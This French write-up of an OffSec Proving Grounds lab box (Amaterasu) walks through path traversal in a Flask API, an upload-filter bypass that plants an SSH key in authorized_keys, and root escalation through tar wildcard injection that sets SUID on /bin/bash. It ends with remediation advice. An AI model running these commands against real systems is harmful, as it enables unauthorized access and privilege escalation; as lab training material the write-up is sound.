Aller au contenu
Easy OffSec Proving Grounds Linux

Amaterasu

Flask REST API sur Fedora — path traversal via /file-list expose la clé SSH d'un utilisateur, contournement du filtre d'extension pour écrire dans authorized_keys, escalade root via tar wildcard injection dans un cron root.

· 8 min de lecture

path-traversal·flask-api·file-upload-bypass·ssh-key·tar-wildcard·suid

Contexte & périmètre

Machine cible : Amaterasu — OffSec Proving Grounds. Boîte Linux (Fedora), avec une petite API REST maison en Flask qui sert de vecteur d’entrée.

  • Cible : 192.168.71.249
  • Attaquant : 192.168.49.71 (Kali via OpenVPN OffSec)

Reconnaissance

Ports & services

nmap 192.168.71.249 -sC -sV -p- -Pn --open
nmap révèle FTP anonyme, SSH, une API Werkzeug et un Apache
Quatre services : FTP anonyme (21), SSH sur port non standard (25022), une API Python/Werkzeug (33414) et un Apache Fedora (40080).

Points d’intérêt immédiats :

  • FTP anonyme — à checker pour du dépôt de fichiers, mais listing timeout ici → probablement vide ou piégé.
  • SSH 25022 — port non standard, note-le pour plus tard (login à clé sûrement).
  • Werkzeug 2.2.3 / Python 3.9.13 sur 33414 → Flask derrière. Une API maison est presque toujours la surface d’attaque la plus tendre.
  • Apache 40080 — “My test page”, probablement une décoration.

Je pars sur l’API Flask.

Énumération de l’API

ffuf sur le port 33414 découvre /help et /info
ffuf avec common.txt renvoie deux endpoints qui répondent 200 : /help et /info.
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -u http://192.168.71.249:33414/FUZZ

/help est explicite : le développeur a laissé la liste des endpoints.

GET /help renvoie un JSON listant les endpoints de l'API
L’API se présente elle-même : /info, /help, /file-list?dir=/tmp, /file-upload. Deux primitives évidentes : lister et uploader des fichiers.

Accès initial

Path traversal via /file-list

Le paramètre dir est passé tel quel à l’appel filesystem — aucune sanitation. Je remonte l’arborescence et j’énumère méthodiquement :

curl sur /file-list expose /home/alfredo/.ssh contenant id_rsa
Trois curl successifs : /home → un seul user alfredo, puis son home révèle .ssh et un dossier restapi, puis .ssh montre id_rsa et id_rsa.pub.
curl -G http://192.168.71.249:33414/file-list --data-urlencode 'dir=/home'
# ["alfredo"]
curl -G http://192.168.71.249:33414/file-list --data-urlencode 'dir=/home/alfredo'
# [".bash_logout",".bash_profile",".bashrc","local.txt",".ssh","restapi",".bash_history"]
curl -G http://192.168.71.249:33414/file-list --data-urlencode 'dir=/home/alfredo/.ssh'
# ["id_rsa","id_rsa.pub"]

Deux options à ce stade :

  1. Lire id_rsa via une éventuelle primitive de lecture (l’API n’en expose pas — dead end)
  2. Écrire dans authorized_keys via /file-upload (l’API accepte un filename arbitraire — bingo)

Génération d’une paire de clés

ssh-keygen local génère une paire ed25519 my_key / my_key.pub
Paire ed25519 locale, passphrase vide pour scripter facilement.
ssh-keygen -f my_key -N ""

Contournement du filtre d’extension

L’endpoint /file-upload a deux garde-fous :

  1. Il exige un champ filename — le nom de destination côté serveur.
  2. Il filtre les extensions autorisées : txt, pdf, png, jpg, jpeg, gif.
Deux tentatives d'upload rejetées : sans filename, puis avec my_key.pub
Premier refus : pas de filename. Second refus : my_key.pub — extension .pub hors whitelist. Le filtre se base sur le nom du fichier uploadé, pas sur la valeur de filename.

Faille du filtre : il regarde l’extension du fichier envoyé (file=@…), pas la valeur du champ filename (qui est la destination). Il suffit de renommer localement :

mv my_key.pub my_key.txt — renommage pour bypasser le filtre
Rename côté attaquant : my_key.pubmy_key.txt. L’extension passe la whitelist, le contenu (une clé publique OpenSSH) reste identique.

Écriture d’authorized_keys

curl POST /file-upload avec filename=/home/alfredo/.ssh/authorized_keys — File successfully uploaded
Upload accepté : filename pointe vers authorized_keys, le contenu de my_key.txt y est écrit tel quel. Le serveur tourne visiblement avec les droits d’alfredo (sinon il ne pourrait pas écrire dans son .ssh).
curl -X POST http://192.168.71.249:33414/file-upload \
     -F 'file=@my_key.txt' \
     -F 'filename=/home/alfredo/.ssh/authorized_keys'
# {"message":"File successfully uploaded"}

Vérification que le fichier est bien apparu :

/file-list sur .ssh montre maintenant authorized_keys
Confirmation : le fichier authorized_keys est présent aux côtés d’id_rsa/id_rsa.pub.

SSH avec la clé plantée

ssh -i my_key alfredo@192.168.71.249 -p25022 — session ouverte en tant qu'alfredo
Session SSH ouverte : [alfredo@fedora ~]$.
ssh -i my_key alfredo@192.168.71.249 -p 25022
# [alfredo@fedora ~]$
ls dans le home d'alfredo — local.txt (redacted) et restapi
Home d’alfredo : local.txt (contenu masqué per OffSec) et le dossier restapi qui hébergeait le service Flask.

Élévation de privilèges — tar wildcard injection

Découverte du cron root

cat /etc/crontab montre un job root toutes les minutes lançant backup-flask.sh qui fait tar czf * dans /home/alfredo/restapi
Cron root */1 * * * * qui exécute /usr/local/bin/backup-flask.sh. Le script fait tar czf /tmp/flask.tar.gz * à l’intérieur d’un dossier que je contrôle (/home/alfredo/restapi). Le pattern * non-cité + tar = injection de flags.

Contenu du script :

#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *

Le glob * est expansé par le shell avant d’être passé à tar. Si je crée des fichiers dont le nom commence par --, tar les interprète comme des options. Deux options intéressantes : --checkpoint (trigger périodique) et --checkpoint-action=exec=CMD (que faire au trigger). Combinées, elles transforment tar en exécuteur de commandes.

Craft du payload

Création de shell.sh (chmod +s /bin/bash) puis touch des fichiers --checkpoint
Trois éléments : shell.sh avec la charge utile (chmod +s /bin/bash), puis deux fichiers-flags —checkpoint=1 et —checkpoint-action=exec=sh shell.sh créés via touch — (le stoppe l’interprétation d’options par touch lui-même).
cd ~/restapi
echo 'chmod +s /bin/bash' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

Une fois le cron déclenché (max 60 s d’attente), l’expansion * donne à tar approximativement :

tar czf /tmp/flask.tar.gz --checkpoint=1 --checkpoint-action=exec=sh\ shell.sh app.py main.py __pycache__ shell.sh

Tar exécute alors sh shell.sh en tant que root, ce qui pose le bit SUID sur /bin/bash.

Vérification du SUID

ls -la /bin/bash — permissions rwsr-sr-x confirment le bit SUID posé par le cron
-rwsr-sr-x — le s à la place du x owner confirme que le bit SUID est actif. Le cron a bien exécuté shell.sh en root.

Le piège du -p

Lancer /bin/bash directement drop les privilèges : le prompt reste $ (alfredo)
Piège classique : sans -p, bash réinitialise l’EUID à l’UID réel au démarrage — on récupère un shell alfredo malgré le SUID.
/bin/bash -p ouvre un shell root, ls /root liste proof.txt
Avec -p : bash conserve l’EUID root. Prompt #, ls /root liste proof.txt.
/bin/bash -p
# bash-5.1# id
# uid=1000(alfredo) gid=1000(alfredo) euid=0(root) egid=0(root)

Proof

cat /root/proof.txt renvoie le hash (redacted)
Contenu de /root/proof.txt masqué par la politique OffSec.

Remédiation

Côté API Flask

  • Sanitiser tous les paramètres filesystem — jamais open(request.args['dir']) en direct. Whitelist stricte des chemins, résolution via os.path.realpath() + vérification que le résultat est bien sous une racine autorisée.
  • Refuser les chemins absolus dans filename (os.path.isabs()) et interdire toute occurrence de ... La destination doit être calculée par l’API, pas fournie par le client.
  • Ne pas filtrer par extension — cela ne prouve rien du contenu. Si un filtre est nécessaire, valider avec python-magic ou l’entête binaire du fichier reçu.
  • Faire tourner le service sous un user dédié (flaskuser, no home, no shell) — pas sous un compte user réel qui a un .ssh/.
  • Ne pas exposer /help en production (auto-doc = cadeau à l’attaquant).

Côté système

  • Bannir les patterns tar * dans un cron root quand la cible est un dossier writable par un utilisateur non-root. Deux corrections possibles :

    # Option 1 : encadrer les fichiers, prévenir l'interprétation d'options
    cd /home/alfredo/restapi
    tar czf /tmp/flask.tar.gz -- *
    
    # Option 2 : ne pas descendre dans le dossier
    tar czf /tmp/flask.tar.gz -C /home/alfredo restapi
  • Least privilege : ce backup n’a pas besoin d’être root. Créer un compte dédié backup propriétaire du dossier destination.

  • Audit périodique des SUID : find / -perm -4000 -type f 2>/dev/null intégré à l’inventaire, alerte si /bin/bash apparaît.

Ce que je retiens

  • Un endpoint /help qui documente lui-même l’API est une source de vérité offensive. Toujours le tester en premier avant tout brute-force.
  • Un filtre d’upload qui regarde l’extension du fichier envoyé, mais où la destination est un paramètre client, est intrinsèquement contournable : ce qui compte c’est ce qui est écrit sur disque, pas ce qui est reçu.
  • Tar wildcard injection via --checkpoint/--checkpoint-action est le primitive canonique quand tu vois tar czf … * dans un cron avec un dossier writable. Un -- avant * suffit à tout casser côté attaquant.
  • Le drapeau -p de bash/dash — encore lui, comme sur ColddBox. À la deuxième fois, on ne l’oublie plus.
  • Piper une clé SSH dans authorized_keys reste le vecteur d’accès initial le plus fiable dès qu’on a une primitive d’écriture arbitraire côté user.

Outils

  • nmap
  • ffuf
  • curl
  • ssh-keygen
  • ssh